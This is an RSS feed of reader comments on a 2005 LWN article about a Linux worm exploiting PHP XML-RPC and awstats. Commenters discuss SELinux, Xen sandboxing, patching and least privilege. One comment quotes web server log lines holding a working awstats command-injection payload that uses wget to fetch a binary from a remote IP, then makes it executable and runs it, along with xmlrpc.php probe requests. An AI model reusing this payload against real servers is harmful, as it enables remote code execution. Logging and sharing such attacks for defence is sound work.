LWN: Comments on "A Linux worm on the loose?" https://lwn.net/Articles/159044/ This is a special feed containing comments posted to the individual LWN article titled "A Linux worm on the loose?". en-us Sat, 20 Sep 2025 07:42:53 +0000 Sat, 20 Sep 2025 07:42:53 +0000 https://www.rssboard.org/rss-specification lwn@lwn.net SE Linux systems not vulnerable https://lwn.net/Articles/159499/ https://lwn.net/Articles/159499/ drag If you were running your server in a Xen domain it still would of been taken over. It just would of only taken over that paticular host.<br> <p> How is that so much better then running a dedicated box for webhosting?<br> <p> Xen and such is nice because you can acheive the same effect as hosting in a dedicated box on a box that can do lots of different things.<br> <p> You see Xen and virtualization doesn't realy improve security, it just makes it easier to reduce the effect of having your security comprimised. And still with a machine rooted in your network, even if it's running in a virtual box, it's going to make it just that much easier for the attacker to take over any other boxes on that network.<br> <p> Now on the other hand if you were running SELinux it would of just stopped it from doing anything, including taking over your Xen host.<br> <p> Now of course the smartest thing would of been just to stay the hell away from PHP. This isn't the first worm out there in the wild exploiting vunerabilities in PHP, and it won't be the last. If your going to use it then at least keep it up to date religiously.<br> <p> In fact it's kinda irritating. Linux had it's only viruses and only worm problems previously back when we had Redhat doing insane stuff like enabling all services in Redhat 6-7.x by default. Since then there hasn't been any problems like this even with vastly increased popularity in Linux/Redhat stuff.<br> <p> Hell even Microsoft figured this crap out!<br> <p> So if they, and most everybody else, has learned their lessons.. then why are people still running around with unpatched web-facing servers? Anybody running a webserver in a unpatched state realy realy needs to be hit by a big-ol' clue stick. <br> <p> The term 'Complete Morons' come to mind as well as numerious other phrases best left unsaid. It's just making life harder for everybody else.<br> <p> Oh, and if your server has been rooted. Format and reinstall. That's the only solution. Otherwise your going to be running a comprimised server and there isn't anything you can do about it.<br> Thu, 10 Nov 2005 15:40:58 +0000 A Linux worm on the loose? https://lwn.net/Articles/159320/ https://lwn.net/Articles/159320/ diegoliz I don't know if it's this worm but today I got the following sequence on the logs:<br> <p> "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1"<br> "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1"<br> "POST /xmlrpc.php HTTP/1.1"<br> "POST /blog/xmlrpc.php HTTP/1.1"<br> "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1"<br> "POST /phpgroupware/xmlrpc.php HTTP/1.1"<br> "POST /wordpress/xmlrpc.php HTTP/1.1"<br> "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1"<br> "POST /drupal/xmlrpc.php HTTP/1.1"<br> "POST /xmlrpc.php HTTP/1.1"<br> <p> Wed, 09 Nov 2005 21:55:25 +0000 fedora and RHEL4 blocks current instance of the worm out of the box https://lwn.net/Articles/159262/ https://lwn.net/Articles/159262/ scottt <a href="http://www.advogato.org/person/mjcox/diary.html?start=143"> From Mark Cox's blog on 7 Nov 2005:</a> <p>"Our analysis showed that the default SELinux targeted policy on Enterprise Linux 4 would have blocked the specific instances of this worm seen so far, but is not sufficient to block a worm written differently from exploiting this vulnerability if left unpatched. Time to make sure all your servers are up2date!"</p> Wed, 09 Nov 2005 17:38:02 +0000 Threshold, not capacity https://lwn.net/Articles/159241/ https://lwn.net/Articles/159241/ kirkengaard 1 is a universal problem for social engineering; 2 and 3 are really where my point lies. It is not the capacity, but the entry-threshold for security implementation that I find to be the great advantage over Windows. The greater pains it has taken me to implement A, B, and C (incompletely) under Windows make the effort to learn security under Linux, with tools provided with the distribution and in the kernel, seem effortless. Learning, as opposed to fighting, the operating system.<br> Wed, 09 Nov 2005 16:45:57 +0000 A Linux worm on the loose? https://lwn.net/Articles/159228/ https://lwn.net/Articles/159228/ sgreppucci What do the requests look like?<br> Wed, 09 Nov 2005 13:51:48 +0000 SE Linux systems not vulnerable https://lwn.net/Articles/159205/ https://lwn.net/Articles/159205/ copsewood <font class="QuotedText">&gt;SE Linux is the most important security technology for Linux </font><br> <font class="QuotedText">&gt;these days. It is important that more people learn to use it.</font><br> <p> Maybe and maybe not. In my view this one is too early to call. The complexity of setting up a security system can either prevent the average administrator from understanding and carrying out the task fully and correctly, or prevent an overworked administrator (who isn't ?) being willing to consider the learning curve behind a security technology in the first place until the technology is more mature and therefore more easy to implement. The more complex the configuration demand, the greater the chance of mistakes amongst those who do attempt to get it right. This problem is likely to change with SE Linux if and only if the packages that people want to run on it (e.g. Apache, Sendmail etc.) are adequately packaged for it so that these install and run correctly on it "out of the box" and are supported at least as well as packages intended for simpler versions of Linux. My take on the chicken and egg nature of the problem in achieving critical mass to make a technology with network effects take off is that you have to have a specialist interest in security tech for it to be worth your while working on SE Linux right now.<br> <p> It currently seems more probable from my perspective that an easier and no-less effective solution to the requirement SE Linux addresses might arise from use of virtualisation technology e.g. User-Mode Linux or Xen, combined with chips which support virtualisation (e.g. Pacifica) to run all of the seperate applications needed in their own virtual-machine sandboxes. I think critical mass could be achieved sooner in this area due to the other very significant benefits of being able to partition a host system into multiple VMs which are secure against each other.<br> Wed, 09 Nov 2005 12:45:38 +0000 Security is Free https://lwn.net/Articles/159194/ https://lwn.net/Articles/159194/ Felix.Braun <p>I don't think that the <i>capacity</i> for security is unique to the *nix world. In fact, if you applied A, B, and C to a Windows system it would probably be immune to most of the worms / viruses out there.</p> <p>The differences I see in growing order of importance are <ol><li>security consciousness of the user base, <li>default configuration, and <li>how easy the system as a whole makes it to close down unneeded services.</ol> To me this third point is the most important one. For example, there are still many third party programs on windows which <i>require</i> admin privileges to run properly.</p> Wed, 09 Nov 2005 09:46:24 +0000 Security is Free https://lwn.net/Articles/159169/ https://lwn.net/Articles/159169/ kirkengaard " PHP and friends has had many security holes, and there is no reason to believe this is the last. Just turn it off unless you really need it. And if you need it, run it as FastCGI in a chroot jail."<br> <p> I love how the Windows-side people are hooting about this worm. "They can be brought low! They're just like the rest of us!" But linux systems can be secured with a little knowledge and a little secure thinking. No product to buy, nobody to trust.<br> <p> A) Don't run more than you need to do the job - apart from having benefits to system load, this limits the number of components you have to check for vulnerabilities. This isn't an Apache problem, it's an Apache module problem. Only add to Apache what you need to serve what you're serving.<br> <p> B) Don't expose more than you need to expose to do the job - anything you expose can be vulnerable, as no software is perfect.<br> <p> C) Lock down what you expose - "least privilege" principle. Anything that must be done as root is worth the inconvenience of local execution. Never expose setuid-root binaries unless you're stuck with Hobson's choice. In any event, sandbox what you expose to limit the potential damage. chroot() without privilege limitation is still vulnerable.<br> <p> Maybe that's simplistic of me, and I have left out what a lot of work that can become. I have to agree that SE Linux is a bit heavy, but if you're willing to deal with that much extra config, it definitely can help with B and C. Ben Franklin equated security and freedom as inversely proportional, and in this event his statement can be usefully inverted. The user who is willing to give up essential security for temporary liberty deserves neither security nor liberty.<br> Wed, 09 Nov 2005 03:43:00 +0000 SE Linux systems not vulnerable https://lwn.net/Articles/159147/ https://lwn.net/Articles/159147/ job SE Linux is a bit heavy to use unless you have a distribution that supports it out of the box.<br> <p> PHP and friends has had many security holes, and there is no reason to believe this is the last. Just turn it off unless you really need it. And if you need it, run it as FastCGI in a chroot jail.<br> Tue, 08 Nov 2005 23:32:18 +0000 SE Linux systems not vulnerable https://lwn.net/Articles/159093/ https://lwn.net/Articles/159093/ tzafrir Does it allow submitting at/cron jobs?<br> Tue, 08 Nov 2005 19:46:30 +0000 SE Linux systems not vulnerable https://lwn.net/Articles/159083/ https://lwn.net/Articles/159083/ treed SE Linux is the most important security technology for Linux these days. It is important that more people learn to use it.<br> <p> The /var/www/cgi-bin runs in a security context which does not allow binding to ports.<br> Tue, 08 Nov 2005 19:04:02 +0000 More info (links) https://lwn.net/Articles/159072/ https://lwn.net/Articles/159072/ frazier There's also a security warning out on a non-PEAR XML-RPC: <br><a href="http://phpxmlrpc.sourceforge.net/">http://phpxmlrpc.sourceforge.net/</a> <p>As mentioned there: <blockquote><i>PHPXMLRPC or derivative versions are used in many open source projects, including Ampache, Xaraya, Drupal (only up to releases 4.6.2 and 4.5.4), PostNuke, b2evolution, nucleus cms, phpmyfaq, phpPgAds, phpgroupware, egroupware, TikiWiki, Civicspace (old release only) and MailWatch for MailScanner.</i></blockquote> Here's the McAfee page: <br><a href="http://vil.nai.com/vil/content/v_136821.htm">http://vil.nai.com/vil/content/v_136821.htm</a> <p>-Brock Tue, 08 Nov 2005 17:13:28 +0000 A Linux worm on the loose? https://lwn.net/Articles/159069/ https://lwn.net/Articles/159069/ mrshiny I second that; my web server has been targetted as well, but I'm not running php-xmlrpc and I'm up to date anyway. But yet another thing filling my logs...<br> Tue, 08 Nov 2005 15:48:50 +0000 A Linux worm on the loose? https://lwn.net/Articles/159063/ https://lwn.net/Articles/159063/ xach I've seen the request pattern in my HTTP logs in the past few days.<br> Tue, 08 Nov 2005 15:20:45 +0000